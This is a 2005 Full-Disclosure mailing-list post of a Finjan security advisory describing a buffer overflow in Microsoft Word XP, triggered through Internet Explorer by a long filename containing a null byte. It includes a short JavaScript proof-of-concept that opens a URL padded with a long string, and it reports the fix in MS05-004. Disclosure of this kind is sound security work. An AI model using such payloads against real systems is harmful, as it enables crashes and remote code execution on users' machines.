

[Full-Disclosure] Finjan Security Advisory: Microsoft Office XP Remote Buffer Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-02/0224.html>

From: Rafel Ivgi (rivgi_at_finjan.com)

Date: 02/09/05

To: "Windows NTBugtraq Mailing List" <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM>, <vulnwatch@vulnwatch.org>

Date: Wed, 9 Feb 2005 02:18:45 +0200

Finjan Security Advisory
Microsoft Office XP Remote Buffer Overflow Vulnerability

Introduction

Finjan has discovered a new vulnerability in Microsoft Word XP that would allow a hacker to launch a buffer overflow attack. This attack could occur when a user opened a Word document using Internet Explorer.

Technical Description

When a ".doc" file is opened inside Internet Explorer, Microsoft Word XP "takes over" and opens that doc file. The problem appears when sending a doc file request that contains a null byte (parser) at the end of the doc filename (the rtf extension is also vulnerable).

For example:

<http://www.myhost.com/myfile.doc> is a valid request.

However This:

<http://www.myhost.com/myfile.doc%00aaaaaaaaaaaaaaaaaaaaaa...aa.doc>

is an invalid request. Such a request will be sent to the server hosting the doc file.

Most servers like IIS and Apache will truncate the characters before the %00 while sending the filename to Internet Explorer.

At this stage, Internet Explorer will hand over the string to Microsoft Word XP, which will now receive a long string. This string causes an exploitable buffer overflow, allowing remote code execution.

The Code (Proof of Concept)

```
<Script>
var mylongstring,myjunk;
mylongstring ="";
myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbbb";
for(c=1;c<5000;c++)
{
  mylongstring = mylongstring + myjunk;
}
window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring);
</script>
```

Vulnerability Status

Microsoft was notified on July 13, 2004.
The bug is now fixed. For further details please refer to Microsoft security bulletin MS05-004.

Credit

Rafel Ivgi, Malicious Code Research Center (MCRC), Finjan Software Ltd.

This message was scanned for malicious content and viruses by Finjan Internet Vital Security 1Box(tm)

Full-Disclosure – We believe in it.
Charter: <http://lists.netsys.com/full-disclosure-charter.html>